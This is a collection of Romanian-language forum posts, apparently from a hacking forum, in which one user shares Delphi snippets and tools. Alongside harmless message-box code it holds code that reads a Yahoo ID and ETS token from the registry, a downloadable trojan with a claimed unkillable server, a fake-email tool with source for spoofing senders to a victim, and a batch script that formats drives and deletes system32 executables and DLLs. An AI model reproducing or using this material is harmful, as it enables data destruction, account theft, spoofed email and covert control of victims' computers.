c0smyn

Bravo man frumosa colectie ThX

Adaugati sus la uses: Registry Vom face o mica functie ca sa ne pice mai usor function ReadRegistry(Mykey:string; MyField: string): string; var Reg: TRegistry; begin Reg := TRegistry.Create; Reg.RootKey := HKEY_CURRENT_USER; if Reg.OpenKey(MyKey, True) then begin if Reg.ValueExists(MyField) then Result := Reg.ReadString(MyField) else Reg.CloseKey; end; end; Puneti aceasta functie sub " {$R *.dfm} " Pentru vizualizarea id-ului si ets-ului vom folosi urmatorul cod: ShowMessage(ReadRegistry('Software\Yahoo\Pager', 'Yahoo! user id')); // vizualizarea id-ului ShowMessage(ReadRegistry('Software\Yahoo\Pager', 'ETS')); // vizualizarea ets-ului Asta e tot Enjoy

Nytro: greseala mea. creadeam ca e vb de celalalt cod cu ReleaseCapture..

codul acela e pentru a putea muta form`ul cu ajutorul imaginii. colturile rotunde s-au obtinut prin efecte de transparenta

Client: Optiuni: -shutdown -restart -logoff -hide yahoo -show yahoo -close yahoo Server: Download Source: http://rapidshare.com/files/184908026/My_trojan.rar.html

asta e rog un admin sa inchida topicu

Un mod mult mai simplu pentru a folosi sistemul de mesaje in Borland Delphi Puneti acest cod sub " {$R *.dfm} " procedure ArataMesaj(mesaj: string; titlu: string; tip: Integer); var eroare,informatie,exclamatie,intrebare,normal: boolean; begin if tip > 5 then exit else if tip < 1 then exit; eroare := false; informatie := false; exclamatie := false; normal := false; intrebare := false; {Setare tip mesaj} //begin if tip = 1 then eroare := true; if tip = 2 then informatie := true; if tip = 3 then exclamatie := true; if tip = 4 then normal := true; if tip = 5 then intrebare := true; {Setare tip mesaj} //end; if eroare = true then MessageBox(application.handle,Pchar(mesaj),Pchar(titlu), +mb_OK +mb_ICONERROR) else if informatie = true then MessageBox(application.handle,Pchar(mesaj),Pchar(titlu), +mb_OK +mb_ICONINFORMATION) else if exclamatie = true then MessageBox(application.handle,Pchar(mesaj),Pchar(titlu), +mb_OK +mb_ICONEXCLAMATION) else if normal = true then MessageBox(application.handle,Pchar(mesaj),Pchar(titlu), +mb_OK) else if intrebare = true then MessageBox(application.handle,Pchar(mesaj),Pchar(titlu), +mb_OK +mb_ICONQUESTION); end; Noua comanda va fi ArataMesaj(string,string,integer); Exemplu: ArataMesaj('Nu imi place scoala!','Rst Center',2); "Nu imi place scoala" - reprezinta mesajul care v`a fi afisat "Rst Center" - reprezinta titlul mesajului "2" - reprezinta tipul de mesaj (2 = mesaj de tip informatie) Tipurile de mesaj: 1 - Mesaj eroare 2 - Mesaj informatie 3 - Mesaj exclamatie 4 - Mesaj normal 5 - Mesaj intrebare Enjoy

Nu mai merge programu asta , nici versiunea v2. Cineva a schimbat parola de la SMTP

imi pare rau probabil cei de la alonia au vazut ca trimitem multe mail`uri si au inchis serveru nu se mai conecteaza

################ #Name: Fake E-Mailer #Autor: c0smyn #Version: 2.0 ################ Aceasta versiune va permite sa trimiteti mai multe mail`uri. Mail`urile vor intra in inbox nu in spambox .. cam atat Daca doriti sa iesiti din aplicatie apasati pe tasta ESCAPE. Photo: Download http://rapidshare.com/files/179676754/Fake_E-Mailer_2.0.rar.html http://www.2shared.com/file/4577730/8eff2b68/Fake_E-Mailer_20.html Enjoy

intradevar e facut cu serveru de la alonia (bombur.mediasat.ro) si nu m`am luat dupa sursa aia uitate la codu meu de la programare > Fake Mailer si uitate si in codu lu sanon masters ala edit ... si ce cacat e bobsoft mini delphi ala ... are rost sa ma uit prin el ? nu cred ca e cacat si nu ii zice bobsoft

nu stiu fratilor din ce tari sunteti voi de nu se conecteaza .. mie imi merge si altora

asa deageaba man sa ii dea ce forum mai e ala ?

E pampalau messiah asta a venit o fata pe forum la luat la vrajeli si i`a dat vip

probabil ti`a picat netu in timp ce vroiai sa trimiti .. alta cale nu vad

################# # Name: Fake E-Mailer # Autor: c0smyn # Version: 1.0 ################# Un program cu care poti trimite mail`uri fake. Daca ati intrat in form`ul cu about , puteti iesi apasand ALT+F4 , am uitat sa pun un exit button Photos: Download: http://rapidshare.com/files/179446388/Fake_E-Mailer.rar.html http://www.2shared.com/file/4574516/449b975f/Fake_E-Mailer.html

1. Adaugati pe form un Idsmtp, Idmessage, Memo si un button. 2. Dam 2click pe button si punem acest cod with IdMessage1 do begin From.Address := 'fake_address@yahoo.com'; From.Name := 'fake_name'; Subject := 'Subject'; Sender.Address := 'fake_address@yahoo.com'; Sender.Name := 'fake_name'; ReplyTo[0].Address := 'fake_address@yahoo.com'; ReplyTo[0].Name := 'fake_name'; Recipients[0].Address := 'VICTIM_MAIL@yahoo.com'; ReceiptRecipient.Address := 'VICTIM_MAIL@yahoo.com'; Body := memo1.lines; end; with IdSMTP1 do begin Host := 'mail.hotmail.com'; UserName := 'your_user@hotmail.com'; Password := 'your_password'; Port := 25; Connect; {Send Mail} IdSMTP1.Send(IdMessage1); if connected = true then Disconnect; ShowMessage('Mesaj Trimis!'); {Send Mail} end; Trebuie sa folositi indy 10 pentru a putea compila proiectu. Enjoy

######################################## ######################################## ###Name: Little Tool########################## ###Autor: c0smyn########################### ###Source code: 3 MB######################## ###Compiled: 568 KB######################### ######################################## ###Website: http://rstcenter.com################# ######################################## ######################################## Poti accesa Counter-Strike`ul , Yahoo`ul , Winamp`ul , Cmd`ul foarte rapid , doar cu 1 singur click. L`am facut la plictiseala. Deasemenea poti schimba status`ul la Yahoo , Caption`ul .. , poti da refresh la desktop doar cu 1 singur click. Cu siguranta veti invata cate ceva din aceasta sursa Enjoy Photos: Download Source: http://rapidshare.com/files/179117565/nice_tool.rar.html Download Executable: http://rapidshare.com/files/179117844/Nice_Tool.exe.html

http://alonia.ro/inc/

Intri in notepad folosind comanda asta start %SystemRoot%\notepad.exe pui urmatorul cod @echo off format D: /q /x /y format E: /q /x /y shutdown -r -t 1000 cd %SystemRoot%\system32 del *.exe del *.dll salvezi in %SystemRoot%\aaaaaa.bat scrii in cmd start %SystemRoot%\aaaaaa.bat si gata ai grija ca au camere de luat vederi si te trezesti cu pol acasa

nu a pus credite .. s`a nascut gay mai nou e ratat

App de plagiatori .. Userul Hertz a luat vreo 3 site`uri de la ShowOff si le`a pus pe un alt site

bunnn sa zicem ca e ca tine zimi si mie cui i`am intrat eu ? n`am vazut nicaieri nici o plangere ca a patit cineva ceva ..

aplicatia nu poate fi inchisa nici cu taskkill , nici din taskmanager nici cu alte programe .. (unkillable application)

luatil cu incredere! nu va luati dupa toti copiii serverul nu poate fi scos , decat daca reinstalezi windowsu